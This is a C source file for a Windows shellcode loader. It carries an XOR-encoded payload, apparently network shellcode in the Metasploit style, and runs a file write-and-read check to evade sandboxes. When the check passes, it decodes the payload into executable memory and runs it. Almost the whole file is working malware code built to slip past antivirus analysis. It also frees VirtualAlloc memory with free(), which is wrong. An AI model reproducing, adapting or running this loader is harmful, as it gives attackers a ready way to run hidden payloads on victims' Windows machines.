shellcode_user_action.c

#include <windows.h>
#include <iostream>

#define FILE_PATH "C:\\Users\\ferna\\Desktop\\tmp.file"

void decrypt(char * b, char * c, int n) {
	for (int i = 0; i < n; i++) {
		c[i] = b[i] ^ 'f';
	}
}

void exec(char * d, int n) {
	void *exec = VirtualAlloc(NULL, n, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (exec != NULL) {
		memcpy(exec, d, n);
		((void(*)())exec)();
		free(exec);
	}
}

int main(int argc, char **argv) {
	char b[] = { 0x9a, 0x8e, 0xe4, 0x66, 0x66, 0x66, 0x06, 0xef, 0x83, 0x57, 0xa6, 0x02, 0xed,
		0x36, 0x56, 0xed, 0x34, 0x6a, 0xed, 0x34, 0x72, 0xed, 0x14, 0x4e, 0x69, 0xd1, 0x2c, 0x40,
		0x57, 0x99, 0xca, 0x5a, 0x07, 0x1a, 0x64, 0x4a, 0x46, 0xa7, 0xa9, 0x6b, 0x67, 0xa1, 0x84,
		0x94, 0x34, 0x31, 0xed, 0x34, 0x76, 0xed, 0x2c, 0x5a, 0xed, 0x2a, 0x77, 0x1e, 0x85, 0x2e,
		0x67, 0xb7, 0x37, 0xed, 0x3f, 0x46, 0x67, 0xb5, 0xed, 0x2f, 0x7e, 0x85, 0x5c, 0x2f, 0xed,
		0x52, 0xed, 0x67, 0xb0, 0x57, 0x99, 0xca, 0xa7, 0xa9, 0x6b, 0x67, 0xa1, 0x5e, 0x86, 0x13,
		0x90, 0x65, 0x1b, 0x9e, 0x5d, 0x1b, 0x42, 0x13, 0x82, 0x3e, 0xed, 0x3e, 0x42, 0x67, 0xb5,
		0x00, 0xed, 0x6a, 0x2d, 0xed, 0x3e, 0x7a, 0x67, 0xb5, 0xed, 0x62, 0xed, 0x67, 0xb6, 0xef,
		0x22, 0x42, 0x42, 0x3d, 0x3d, 0x07, 0x3f, 0x3c, 0x37, 0x99, 0x86, 0x39, 0x39, 0x3c, 0xed,
		0x74, 0x8d, 0xeb, 0x3b, 0x0e, 0x55, 0x54, 0x66, 0x66, 0x0e, 0x11, 0x15, 0x54, 0x39, 0x32,
		0x0e, 0x2a, 0x11, 0x40, 0x61, 0x99, 0xb3, 0xde, 0xf6, 0x67, 0x66, 0x66, 0x4f, 0xa2, 0x32,
		0x36, 0x0e, 0x4f, 0xe6, 0x0d, 0x66, 0x99, 0xb3, 0x0c, 0x63, 0x0e, 0xa6, 0xce, 0x67, 0xbf,
		0x0e, 0x64, 0x66, 0x79, 0xf6, 0xef, 0x80, 0x36, 0x36, 0x36, 0x36, 0x26, 0x36, 0x26, 0x36,
		0x0e, 0x8c, 0x69, 0xb9, 0x86, 0x99, 0xb3, 0xf1, 0x0c, 0x76, 0x30, 0x31, 0x0e, 0xff, 0xc3,
		0x12, 0x07, 0x99, 0xb3, 0xe3, 0xa6, 0x12, 0x6c, 0x99, 0x28, 0x6e, 0x13, 0x8a, 0x8e, 0x07,
		0x66, 0x66, 0x66, 0x0c, 0x66, 0x0c, 0x62, 0x30, 0x31, 0x0e, 0x64, 0xbf, 0xae, 0x39, 0x99,
		0xb3, 0xe5, 0x9e, 0x66, 0x18, 0x50, 0xed, 0x50, 0x0c, 0x26, 0x0e, 0x66, 0x76, 0x66, 0x66,
		0x30, 0x0c, 0x66, 0x0e, 0x3e, 0xc2, 0x35, 0x83, 0x99, 0xb3, 0xf5, 0x35, 0x0c, 0x66, 0x30,
		0x35, 0x31, 0x0e, 0x64, 0xbf, 0xae, 0x39, 0x99, 0xb3, 0xe5, 0x9e, 0x66, 0x1b, 0x44, 0x3e,
		0x0e, 0x66, 0x26, 0x66, 0x66, 0x0c, 0x66, 0x36, 0x0e, 0x6d, 0x49, 0x69, 0x56, 0x99, 0xb3,
		0x31, 0x0e, 0x13, 0x08, 0x2b, 0x07, 0x99, 0xb3, 0x38, 0x38, 0x99, 0x6a, 0x42, 0x8f, 0x17,
		0x99, 0x99, 0x99, 0x67, 0xa5, 0x4f, 0xa0, 0x13, 0xa1, 0xa5, 0xdd, 0x96, 0xd3, 0xc4, 0x30,
		0x0c, 0x66, 0x35, 0x99, 0xb3 };
	char c[sizeof b] = { 0 };

	HANDLE file;
	DWORD tmp;
	LPCVOID buff = "1234";
	char outputbuff[5] = { 0 };
	file = CreateFile(FILE_PATH, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
		FILE_ATTRIBUTE_NORMAL, 0);
	if (WriteFile(file, buff, strlen((const char *)buff), &tmp, NULL))
	{
		CloseHandle(file);
		file = CreateFile(FILE_PATH,
			GENERIC_READ,
			FILE_SHARE_READ,
			NULL,
			OPEN_EXISTING, // existing file only
			FILE_ATTRIBUTE_NORMAL,
			NULL);
		if (ReadFile(file, outputbuff, 4, &tmp, NULL))
		{
			if (strncmp((char *) buff, outputbuff, 4) == 0)
			{
				decrypt(b, c, sizeof(b));
				exec(c, sizeof(c));
			}
		}
		CloseHandle(file);
	}
	DeleteFile(FILE_PATH);
	return 0;
}